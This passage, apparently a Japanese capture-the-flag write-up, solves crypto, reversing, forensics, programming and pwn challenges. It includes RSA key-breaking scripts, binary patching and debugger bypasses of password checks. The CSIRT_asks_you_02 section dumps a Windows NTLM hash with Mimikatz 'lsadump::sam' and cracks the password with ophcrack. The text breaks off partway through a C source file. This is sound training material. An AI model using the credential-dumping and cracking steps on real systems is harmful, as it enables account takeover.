あなたはシェフ帽の人物からレシピを受け取りました。どうやら組織からの秘密のメッセージのようです。レシピを解読し、秘密のメッセージを入手してください。

Input:
NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0

Recipe:
RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[sRnJvbV9IZXgoJ05vbmUnKQ0=]b2[sRm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=

recipe、bake、といえばCyberChef( https://gchq.github.io/CyberChef/ )である。CyberChefのレシピを復元すればよい。

次のように区切る。

RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN
]b2[s
RnJvbV9IZXgoJ05vbmUnKQ0=
]b2[s
Rm9yaygnJScsJ18nLGZhbHNlKQ0=
]b2[s
UkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=

各base64コードは以下のようにデコードできる。

RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN => From_Base64('A-Za-z0-9+/=',true)
RnJvbV9IZXgoJ05vbmUnKQ0= => From_Hex('None')
Rm9yaygnJScsJ18nLGZhbHNlKQ0= => Fork('%','_',false)
UkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk= => RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')

CyberChefのレシピが得られたので、レシピ通りにinputを復号できる。

CyberChefによる復号結果

flag{hello_baked_cipher}

vul_rsa_01 (Crypto:200)

あなたは組織の定期研修に参加しています。教官から RSA 暗号の禁止事項くらいは覚えておくようにと課題が出題されました。どうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335

n: 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257

e: 65537

公開鍵の長さが短いのでyafuを使って力技で素因数分解する。

yafuによる素因数分解結果

昔使ったPythonの復号スクリプトで復号。

from math import gcd
from Crypto.Util.number import bytes_to_long, long_to_bytes

c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
p = 4372642466716249946441875327733923056149624303
q = 3058517013146002381763962882964790715736519
n = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
e = 65537

def lcm(p, q):
  return (p * q) // gcd(p, q)

def _etension_euclid(x,y):
  c0, c1 = x, y
  a0, a1 = 1, 0
  b0, b1 = 0, 1

  while c1 != 0:
     mm = c0 % c1
     qq = c0 // c1

     c0, c1 = c1, mm
     a0, a1 = a1, (a0 - qq * a1)
     b0, b1 = b1, (b0 - qq * b1)

  return c0, a0, b0

l = lcm(p - 1, q - 1)
_c, a, _b = _etension_euclid(e, l)
d = a % l

print((long_to_bytes(pow(c,d,n))))

flag{weak_rsa_can_be_decrypted!}

vul_rsa_02 (Crypto:250)

あなたは引き続き組織の定期研修に参加しています。教官は昨日と同じ人物です。「早く帰れると言ったな。あれは嘘だ」昨日の信じられない光景が脳裏に蘇ります。RSA 暗号の禁止事項くらいは覚えておくようにと再び RSA 暗号の課題が出題されました。もはや誰も信じていませんがどうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681

n: 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423

e: 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

eが非常に大きい=dが非常に小さいのでWiener's Attackが使える。( http://inaz2.hatenablog.com/entry/2016/01/15/011138 )を参考にPythonコードをそのまま持ってきて解いた。

import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes

def continued_fraction(n, d):

    cf = []
    while d:
        q = n // d
        cf.append(q)
        n, d = d, n-d*q
    return cf

def convergents_of_contfrac(cf):

    n0, n1 = cf[0], cf[0]*cf[1]+1
    d0, d1 = 1, cf[1]
    yield (n0, d0)
    yield (n1, d1)

    for i in range(2, len(cf)):
        n2, d2 = cf[i]*n1+n0, cf[i]*d1+d0
        yield (n2, d2)
        n0, n1 = n1, n2
        d0, d1 = d1, d2

def wieners_attack(e, n):
    cf = continued_fraction(e, n)
    convergents = convergents_of_contfrac(cf)

    for k, d in convergents:
        if k == 0:
            continue
        phi, rem = divmod(e*d-1, k)
        if rem != 0:
            continue
        s = n - phi + 1
        # check if x^2 - s*x + n = 0 has integer roots
        D = s*s - 4*n
        if D > 0 and gmpy2.is_square(D):
            return d


n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681

d = wieners_attack(e, n)
print("found d: %d" % d)
m = pow(c, d, n)
print(long_to_bytes(m))

実行するとflag入手。

found d: 19780253153570454414022314122363673676673
b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'

flag{197_Michael_J_Wiener_673}

WEARECIA (Crypto:300)

家に帰ると黒い封筒が郵便受けに入っていました。封筒の中身は英字が羅列されたメモが一枚。青銅色の紙に白いインクで書かれており右下には同じインクで WEARECIA と記載されています。どうやら暗号文のようです。暗号文を解析してメッセージを受け取る必要がありそうです。

以下の暗号文を解読し、隠されたメッセージを見つけてください。フラグは得られたメッセージを flag{} で囲んで回答してください。

EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM

We are CIA!

暗号文が与えられるが、これはアメリカCIA本部に置かれているKryptosの暗号である。( https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%B9 )

KryptosのK1 EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFD と前半部分が一致しているため、これと同じ方法で解くことができるはず。

この辺を参考にJavaScriptで復号スクリプトを書いたものが次になる。

var code = "EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM";
var key = [];
key[0] = ["K","R","Y","P","T","O","S","A","B","C","D","E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z"];
key[1] = ["P","T","O","S","A","B","C","D","E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y"];
key[2] = ["A","B","C","D","E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y","P","T","O","S"];
key[3] = ["L","M","N","Q","U","V","W","X","Z","K","R","Y","P","T","O","S","A","B","C","D","E","F","G","H","I","J"];
key[4] = ["I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y","P","T","O","S","A","B","C","D","E","F","G","H"];
key[5] = ["M","N","Q","U","V","W","X","Z","K","R","Y","P","T","O","S","A","B","C","D","E","F","G","H","I","J","L"];
key[6] = ["P","T","O","S","A","B","C","D","E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y"];
key[7] = ["S","A","B","C","D","E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y","P","T","O"];
key[8] = ["E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y","P","T","O","S","A","B","C","D"];
key[9] = ["S","A","B","C","D","E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y","P","T","O"];
key[10] =["T","O","S","A","B","C","D","E","F","G","H","I","J","L","M","N","Q","U","V","W","X","Z","K","R","Y","P"];

var plain = "";

for(i=0; i<code.length; i++){
        num = i%10;
        line = (i-num)/10;
        char = code.charAt(i);
        
        for(j=0; j<key[num+1].length; j++) {
                if(key[num+1][j]===char)plain += key[0][j];
        }
}
document.write(plain);

結果は BETWEENSUBTLESHADINGANDTHEABSENCEOFLIGHTLIESTHENUANCEOFIQLUSIONFLAGISWEARETHENATIONSFIRSTLINEOFDEFENSEで、追加部分にflagが記載されている。

flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}

Helloworld (Rev:50)

気が付くと椅子に座っていた。簡単なテストから始めよう。ガラスを隔てて真正面に白衣の女が立っている。君が優秀であることを示してくれ。声は天井のスピーカーから聞こえてくるようだ。心配はいらない。そばにある端末が起動する。どちらにしてもすぐに済む。

添付されたファイルを解析してフラグを得てください。

ファイルは「infected」というパスワード付き ZIP になっています。

Helloworld.exeが配布される。コマンドラインから実行してflagを引数にするとflag表示。

flag{free_fair_and_secure_cyberspace}

ELF (Rev:180)

監獄というより研究室のような施設だった。見る角度が大切なんだ。ガラスで隔てたられた部屋を白衣の男が歩いている。すべてを疑ってみることから始める。そばにある端末の電源が入る。手を動かして検証するというのは実に大事なことだ。

添付されたファイルを解析してフラグを入手してください。

elfファイルが配布される。そのままLinuxに持っていっても実行できないのでバイナリを確認する。

elfのバイナリ表示

ヘッダ部分がXXXXになっており、これを正しい値 7F 45 4C 46 に変更すると動作してflagを入手できる。

flag{run_makiba}

Passcode (Rev:120)

その部屋はまぶしいほどの明かりで照らされていた。ここからが本番だ。白衣の人物が書類に目を落としながらつぶやくように話している。結果がすべてという訳ではないが。そばにある端末が起動する。いい結果を期待している。

添付されたファイルを解析してフラグを得てください。

passcodeファイルが配布される。IDAに読ませてmain関数のflagを表示させる部分を確認する。

passcodeのIDA解析結果

パスワードは8文字で20150109である。ファイルを実行してこれを入力するとflag表示。

flag{20150109}

Passcode2 (Rev:150)

予想以上の結果だった。今日もガラス越しに対象が目を覚ます。ここまでうまくいったことはかつてない。端末に今日のデータを送信する。今度こそうまくいくかもしれない。

添付されたファイルを解析してフラグを得てください。

passcode2ファイルが配布される。Linuxで実行ファイルを動作させ、文字数を変えていくとパスワードは11文字であることがメッセージ内容からわかる。

続いてIDAに読ませてmain関数のflagを表示させる部分を確認する。

passcode2のIDA解析結果

中央下にflagを表示させるコードが存在するが、直前の比較部分でjumpさせて強制的にこのコードを実行させても、flag{入力文字列}となるためパスワードはわからない。パスワードはループになっている部分のcmp al,dlのところで1文字ずつ判定している。

gdb pedaで実行ファイルを開き、このcmp部分( 手元の環境で0x0000555555555418 )にbreakpointを張って確認する。

gdb pedaでのデバッグ

入力した値がRAX、比較する値がRDXに入っており、1文字目がわかる。このままでは不一致となってループを抜けてしまうため、IDAの画面左側のadd [rbp+var_8],1に向かうようにjumpさせる( 画面中のjump *0x000055555555541c )ことで、2文字目以降のパスワードを順次表示させていけば11文字のパスワードが分かる。

flag{25.Sep.2014}

to_analyze (Rev:200)

あの施設はなんだったのだろう。ふとした瞬間に思い出す。「秘密情報が含まれているファイルを入手した。特定の環境で実行した場合のみ情報が表示される仕組みのようだが条件が特定できない。解析してみてくれないか。」同僚から連絡が入る。端末を開き受信データを確認する。今日の解析対象が画面に表示される。

添付されたファイルを解析してフラグを入手してください。

ファイルは「infected」というパスワード付き ZIP になっています。

Windows用実行ファイルが配布される。実行してもnice try!で終わってしまうので実行条件を探す。バイナリ内を見ると.NETで作成されているため、dnSpyを使うと解析できる。

dnSpyで該当する関数を表示

flagを出す部分の関数を読むと暗号化されており、 Directory.Exists(A_0) で何らかのディレクトリの存在を確認して分岐させている。このコードを使って自力で復号することはできなくはないが、dnSpyでデバッグ機能があるため、このディレクトリ判定の直前にbreakpointを張って実行してみる。

dnSpyでのデバッグ

A_0変数に C:\Users\123txt\ が見える。このディレクトリを作って実行ファイルを実行させるとflagが得られる。

指定のディレクトリ上での実行結果

flag{Do_y0u_Kn0w_Ursnif?}

paint_flag (Forensics:50)

要調査対象者の端末からあるファイルを押収することに成功しました。どうやら外部の協力者に機密データを送ろうとしたようです。組織内の監視網をかいくぐるため、一見すると機密データが含まれていなかのように加工がされているようです。ファイルを解析して機密データを取得してください。

添付されたファイルを解析し、フラグを入手してください。

docxファイルが配布される。これはzip圧縮されているので拡張子をzipに変更して解凍して出てくるフォルダ内を探すとflag.pngが見つかる。

flag.png

flag{What_m4tters_is_inside;)}

Mail (Forensics:50)

あなたはメールデータの調査を依頼されました。組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとしてコピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。

添付されたファイルを解析し、フラグを得てください。

メールソフトのフォルダが配布される。msfファイルはMozilla Thunderbirdで読むことができるので、Portable版をダウンロードしてきてData\profile\Mail\Local Folders内にファイルをコピーしてアプリケーションを開く。

Thunderbirdで開いたメール

flagを記録したkimitsu.zipが見つかるので保存して開けばflagが手に入る。

flag{You've_clearly_done_a_good_job_there!!}

Deletedfile (Forensics:80)

そのファイルを削除した瞬間にそれが誤りであることをあなたは悟ります。どうやら重要なファイルが削除されてしまったようです。あなたはディスクのイメージファイルの入手に成功しました。削除されてしまったファイルを復元し、窮地を脱してください。

添付されたファイルを解析し、フラグを得てください。

rawイメージが配布される。FTK Imagerで読み込ませると削除ファイルを含めて確認できる。

FTK Imagerでファイルを表示させたところ

flag{nosce_te_ipsum}

Timeline (Forensics:100)

君はタイムラインを知っているかね。ベンチに腰かけた老紳士がこちらに向かって話しかけてきます。あまり使われてはいないようだがね。老紳士はそう話を続けながら正面に向き直りため息をつきます。だが、完全に消えてしまう前にどんなアーティファクトであったか確かめてみてもいいとは思わんかね。そういって老紳士は1枚のディスクを私に手渡すと、静かに去っていきました。どうやらディスクを解析する必要があるようです。

添付のファイルを解析し、フラグを入手してください。

ActivitiesCache.dbが配布される。これはWindows10のタスクビュー履歴で、CTF作者のサイトの記事( https://soji256.hatenablog.jp/entry/2019/10/05/153559 )にフォレンジックについてまとまっている。

WindowsTimeline parser ( https://github.com/kacos2000/WindowsTimeline/releases )を導入して問題ファイルを開く。

WindowsTimeline Parser

E:\AppData\内の.txtファイルの名前が1文字ずつflagになっていることに気づくので、履歴を読んでflag文字列が手に入る。

flag{Th3_Fu7Ure_1s_N0w}

browser_db (Forensics:100)

調査対象者のパソコンから Web ブラウザの情報を取得しました。ファイルを解析して調査対象者が怪しい行動をしていないか調査するのが今回のあなたの仕事です。

添付されたファイルを解析し、フラグを得てください。

ブラウザの履歴を記録したSQLiteファイルが配布されるので、DB Browser or SQLiteに読ませた。

DB Browser or SQLiteで読ませた結果

flag{goosegoosego}

MFT (Forensics:100)

内部告発によりある要員が極秘情報をファイルサーバからダウンロードしていることが判明しました。組織は要員の身柄を抑え、端末から証拠となるデータを抽出しました。今回のあなたの仕事は、端末から抽出したデータを解析し、ダウンロードされた極秘情報のファイル名を特定することです。組織からは極秘情報のダウンロードされた日時が 2021-07-18 18:30頃 であることと、ファイルサイズが 465030 であることのみが伝えられています。

添付ファイルを解析し、極秘情報のファイル名を特定してください。例えばファイル名が file.txt の場合は flag{file.txt} と回答してください。

NTFSの$MFTファイルが配布される。これはファイルシステム内のファイル情報(インデックス)を格納しており、問題文には日時が「2021-07-18 18:30頃 」、サイズが「465030」であることをヒントに、ファイル名を探索する。

ファイルサイズ465030の16進数リトルエンディアン表記である86 18 07で検索をかけてみる。

ファイルサイズのバイナリ列検索結果

何個かファイルがヒットしたが、2番目にヒットしたkimitsu.zipが正解であった。

flag{kimitsu.zip}

tkys_another_day (Forensics:100)

無事でいてくれているだろうか。あなたは後輩の端末に残されていたある画像ファイルが気になっています。作成された日付は音信不通となる前日。ファイルは作りかけなのか、断片的な情報しか表示されません。もしかすると後輩の消息についての重要な手がかりが隠されているのではないか。あなたはファイルを詳しく解析することにしました。

添付されたファイルを解析し、フラグを入手してください。

PNG画像が配布されるが、以下のようにflagの一部しか表示されていない。

配布PNG画像

バイナリエディタで中身を確認してみる。

バイナリエディタでの表示1

ファイルの末尾にAPNG Assembler 2.91という記述が見つかるが、これはアニメーションPNGである。したがってフレームの遅延時間が極端に大きく設定されているなどの理由で、flagの残りの部分がなかなか表示されないようになっているはずだ。

バイナリエディタでの表示2

APNGのフォーマットによれば、フレームの遅延時間を定義しているのはfcTLから20バイト目から2バイト×2の領域で、上記のバイナリエディタ表示で反転させた部分が相当する。遅延時間の分子と分母になっていることから、ここを修正すれば速く出すことができそうだ。全てのfcTLに対して、これを適当に00 10と00 01に修正してみる。

修正したものをAPNG対応ブラウザ(ここではFirefox)で表示させたところ、10秒程度待って以下のように次のフレームが表示された。

修正したAPNG画像1

さらに十数秒待つと次のフレームも表示され、flagが揃った。

修正したAPNG画像2

flag{a_fake_illness_is_the_most_serious_disease_f5ab7}

TITLE (Forensics:120)

仕事を終えて帰宅の途につくあなた。人通りの少ない住宅街を通り過ぎ、自宅のマンションにたどり着きます。ちょうど部屋のドアの前に立った時に手に持っていた携帯が鳴りメールを受信したことを伝えます。

件名:これが最後の警告だ

そのメールには画像が添付されていました。

添付されたファイルを解析し、フラグを得てください。

シュタインズ・ゲートのネタっぽい。

JPEG画像が配布され、flagを探す問題。120点問題にしては多段階のフェーズを踏み、正解者数が非常に少ない問題(個人的に本CTFのラスボス)。配布される画像は次のもの。

配布される画像

右下にドットパターンが見えるのがヒント。まだ下に画像が隠れている可能性があるので、画像の高さをバイナリエディタで左から右のように変更した。

画像のバイナリデータの修正

JPEGのファイルフォーマットにおける高さと幅の情報はSOFに格納されており、FF C0のマーカーから始まる。反転させた部分の03 BFを適当に05 BFに変更して高さを伸ばした。結果は次の画像。

高さを変更した画像

QRコードらしきものが見つかる(死んだSECCONの亡霊かな?)。ドットパターンの右下あたりにある四角い囲みが目印で、QRコードのモデル2のアライメントパターンと考えられる。上と左下に伸びた部分を含めてQRコードと考えると、ちょうど29×29の大きさを持っている。

アライメントパターンを目印にすると、このQRコードは白黒が反転しているため、もう一度反転して元に戻す。

QRコードの部分の色を反転させた画像

ここにポジションパターン(特徴的な大きな四角)とタイミングパターン(白黒が交互に繰り返すライン)を加えたものが次の画像になる。

基本的なパターンを加えた画像

QRコードらしくなってきたが、まだマスクパターンなどを入れておらずスマホなどを使っても認識できない。

気合で復元できるかもしれないが、面倒になってきたのでstrong-qr-decoder( https://github.com/waidotto/strong-qr-decoder )を使って無理やり読むことにした。デコーダーに読ませるために次のデータを作成。

XXXXXXX????__XXX_XX___XXXXXXX
X_____X????____X__X_X_X_____X
X_XXX_X????__X___XXX__X_XXX_X
X_XXX_X????XX__XX_X___X_XXX_X
X_XXX_X????XX__XX_____X_XXX_X
X_____X????_XXX_XXX_X_X_____X
XXXXXXX_X_X_X_X_X_X_X_XXXXXXX
??????_______X____XX_________
??????X____XXX_XX__X_XXXX__XX
??????______X___X_XXX_XX_X__X
??????X__XX_XXX_XX_X__XX____X
??????____XXX_XXX__X_X_X_X_X_
??????X__XX__XX_X_XX__X____XX
??????___XX__XX___XXXX_X__X_X
??????X__X_X___X_XXX___XX___X
??????___X___X__X___XXXX_X___
??????X____XXX____XXX_X___X__
??????______X__XX_XXXXX___X_X
??????X__X__XXXXXXXXX_XXX_X_X
??????___X_XX_X____XXXX_X___X
??????X_XXX__XX_XX__XXXXX___X
??????__X_X__XXXXXX_X___X___X
XXXXXXX____X___X____X_X_XXX_X
X_____X_X_X__X_X__XXX___XX_X_
X_XXX_X__XXXXX_XX__XXXXXX__XX
X_XXX_X__XX_X__XXX______XX__X
X_XXX_X_XX__XXXX_X__X___X_XXX
X_____X_XXXXX_X_X_XXX__XXX___
XXXXXXX_XX___XXX____X_X___X_X

Xが黒、_が白、不明が?。python sqrd.py qr.txtでこのデータを食わせるとデータが復元されてflagが手に入った。

flag{Y0u_h4ve_w1tnessed_t00_much}

CSIRT_asks_you_01 (Forensics:150)

組織内のインシデント対応部署から急ぎ解析してほしいとの依頼が舞い込みました。不正侵入が確認された端末の Windows イベントログの調査で、状況把握のために侵害に関する詳細な日時を確認してほしいということのようです。

今回のあなたの仕事は送られてきたファイルを解析し、不正な方法によってネットワーク経由のログインが成功したことを示している最初の記録日時(TimeCreated SystemTime) と Event ID を特定することです。

フラグは UTC での記録日時 を yyyy/mm/dd_hh:mm:ss 形式にし、最後に Event ID をアンダースコアでつなげた形で答えてください。例えば 記録日時 が 2020/01/10 7:05:13.9234567Z 、Event ID が 1234 の場合は flag{2020/01/10_07:05:13_1234} となります。記録日時は UTC+0 で回答することに注意してください。

WindowsのSecurityイベントログが配布される。不正なログインを探したいが、ログを確認するとID:4625で大量のログイン試行が行われているから、この中で成功したものを探せばよい。

ID:4624(ログイン成功)とID:4625(ログイン失敗)でフィルターをかけて4625に紛れている4624を探すと次のものが見つかる。

ログの探索結果

時刻は日本時間なので、回答様式のUTC+0に変更してflagを作ることができる。

flag{2021/07/18_20:09:21_4624}

unallocated_space (Forensics:150)

「こりゃ今夜は帰れそうにないな」同僚がそう言いながらハードディスクやUSBメモリが大量に詰まった箱をどさっとデスクに置きます。すべてある組織で使用されていたもので本来は破壊処理されるはずが、不正に利益を得ようとした人物が仲介したことにより、破壊処理されずに中古市場に出回ってしまったもののようです。今日が記念日だという同僚を早く帰すため、あなたはディスクの解析調査を手伝うことにしました。復元可能なデータがないか確認してください。

添付されたファイルを解析し、フラグを入手してください。

イメージファイルが配布される。これはファイルシステムのインデックスが削除され、データ領域に残るファイルをカービングする問題だ。

試しにBulk Extractor( https://www.kazamiya.net/bulk_extractor-rec )でカービングを試みる。

Bulk Extractorの実行結果

flagファイル本体はカービングできなかったが、ワードリストにflag.mp4というファイル名が見つかる。

そこでイメージファイルをバイナリエディタで開き、mp4ファイルのマジックナンバー 00 00 00 20 66 74 79 70 69 73 6F 6D 00 00 02 00 で検索をかける。

マジックナンバーの検索結果

mp4ファイルの本体が見つかるので、この部分を切り取ってflag.mp4として保存して再生するとflagが手に入る。

flag.mp4

flag{file_carving_gogo}

CSIRT_asks_you_02 (Forensics:200)

組織内のインシデント対応部署から引き続き急ぎ解析してほしいとの依頼を受けています。

一つ目の解析依頼(CSIRT_asks_you_01)の結果と別の証拠などから、あるアカウントのパスワードが脆弱である可能性が示唆されています。添付されたファイルを解析し、そのパスワードを特定してください。

フラグはアカウント名とパスワード(平文)をアンダースコアでつないで回答してください。例えばアカウント名が user 、パスワードが pass の場合は flag{user_pass} と回答します。

CSIRT_asks_you_01の続編。SYSTEMファイル、SAMファイル、SECURITYファイルが配布される。ここから脆弱なアカウントのパスワードをクラックする問題。

手順は決まりきっており、SAMファイルからWindowsのユーザーアカウントのパスワードハッシュを取得して、辞書攻撃でパスワードをクラックする。

第一段階ではSAMファイルからのパスワードハッシュ取得。手始めにpwdump( https://kaworu.jpn.org/security/PwDump )やsamdump2( https://kaworu.jpn.org/security/samdump2 )といったツールを使ったが、どうやらWindows10には対応していないようで空のパスワードハッシュしか取り出すことができなかった。結局Mimikatz( https://github.com/gentilkiwi/mimikatz/wiki )を投入したところ上手くいった。

欲しい情報はCSIRT_asks_you_01で侵入に使われたtestユーザーのパスワードハッシュになる。次の画像はMimikatzで取得したtestユーザーのNTLMハッシュ。Mimikatzを起動して、lsadump::sam /system:(SYSTEMファイル) /sam:(SAMファイル)で実行できる。

Mimikatzによるtestユーザーのハッシュ取得

第二段階ではNTLMハッシュをクラックして元のパスワードを得る。ophcrack( https://ophcrack.sourceforge.io/ )を利用した。結果は次の通り。

ophcrackの結果

ユーザー名:test、パスワード:testtest、がわかったのでflagを作ることができる。

flag{test_testtest}

ZZZIPPP (Programing:80)

あなたはあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルのようで、その中に組織にとって重要な機密情報が入っているようです。

添付されたファイルを解析してフラグを入手してください。

1000回ZIP圧縮されたファイルを解凍する問題。正解はスクリプトを組んで自動的にZIP解凍を繰り返すことだが、7zipで開いたところマウスクリック連打でアーカイブを掘ることができてしまったので1000回クリックした。

7zipで連打

flag{loop-zip-1989-zip-loop}

echo_me (Programing:120)

山登りが趣味だという同僚が疲れた様子で話しかけてきます。山でヤッホーと声を出せば、いつでもヤッホーと返ってくる。そんなあたりまえを支えるやまびこさんの気持ちって、どんな感じなんでしょうね。その眼には若干の狂気が宿っているようにも思えました。あなたは同僚を狂気から救うため、解析作業を手伝うことにしました。

以下にアクセスしてフラグを得てください。

nc 10.1.1.10 12020

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

WebShellからアクセスすると8桁の数字の入力を要求され、何度も続く。

WebShellで接続した様子

入力を求められた数字を自動的に入力し続けるようなスクリプトをかけばよいので、PythonをWebShell上で書いた。エディタはvimが使える。

from pwn import *

io = remote('10.1.1.10',12020)
while(True):
    print(io.recvline())
    line = io.recvline()
    print(line)
    val = line[9:9+8]
    print(io.recvline())
    io.sendline(val)
    print(io.recvline())
    print(io.recvline())

実行するとflagが得られる。

実行結果

flag{Hellow_yamabiko_Yoo-hoo!}

EZZZIPPP (Programing:150)

あなたは再びあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルですが、今度は鍵までかかっているようです。ファイルを解析し中に封じ込められている機密情報を取得してください。

ファイルを解析してフラグを入手してください。

1000回ZIP圧縮されたファイルを解凍する問題。今度はパスワードがかかっているので、おとなしくスクリプトを書いて解凍した。

import zipfile

count = 1000

while(count>0):
        pn = open(str(count)+"/pass.txt").read()[0:10]
        print(pn)
        with zipfile.ZipFile(str(count)+"/flag"+str(count)+".zip") as zp:
                zp.extractall(str(count-1), pwd=pn.encode())
        count = count -1

一番最後の方はファイル名がflag.zipに変わって失敗するが、そこまで掘れれば十分。

flag{bdf574f15645df736df13daef06128b8}

deep_thought (Programing:250)

計算勝負をしましょう。普段は寡黙に働き続けているサーバが不意に話しかけてきました。あなたは珍しいこともあるものだと思いつつも、そのサーバからの挑戦を受けることにしました。

以下にアクセスしてフラグを得てください。

nc 10.1.1.10 12010

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

WebShellからアクセスすると計算問題が出題され、何度も続く。

WebShellで接続した様子

自動的に計算を回答するスクリプトを作成した。

from pwn import *
  
io = remote('10.1.1.10',12010)
while(True):
    print(io.recvline())
    st = io.recvline().decode('utf-8')
    st = st[0:len(st)-1]
    print(st)
    fm = st.split(" ")
    if fm[1]=="+" :
        res = int(fm[0])+int(fm[2])
    else :
        res = int(fm[0])-int(fm[2])
    io.sendline(str(res).encode())
    print(io.recvline())
    print(io.recvline())

実行結果。

生命、宇宙、そして万物についての究極の疑問の答え

生命、宇宙、そして万物についての究極の疑問の答え

flag{__42__}

tkys_let_die (Pwn:100)

瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13020

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

WebShellからnetcatでアクセスして解く問題。C言語のソースコードと実行ファイルが配布される。gate.cを読んでみる。

gate.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    printf("                                  {} {}\n");
    printf("                          !  !  ! II II !  !  !\n");
    printf("                       !  I__I__I_II II_I__I__I  !\n");
    printf("                       I_/|__|__|_|| ||_|__|__|\\_I\n");
    printf("                    ! /|_/|  |  | || || |  |  |\\_|\\ !\n");
    printf("        .--.        I//|  |  |  | || || |  |  |  |\\\\I        .--.\n");
    printf("       /-   \\    ! /|/ |  |  |  | || || |  |  |  | \\|\\ !    /=   \\\n");
    printf("       \\=__ /    I//|  |  |  |  | || || |  |  |  |  |\\\\I    \\-__ /\n");
    printf("        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \\|\\ !  }  {\n");
    printf("       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\\\I {____}\n");
    printf(" _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \\|\\=|  |__!__!_\n");
    printf(" _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
    printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
    printf("  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |\n");
    printf("  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |\n");
    printf(" _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_\n");
    printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
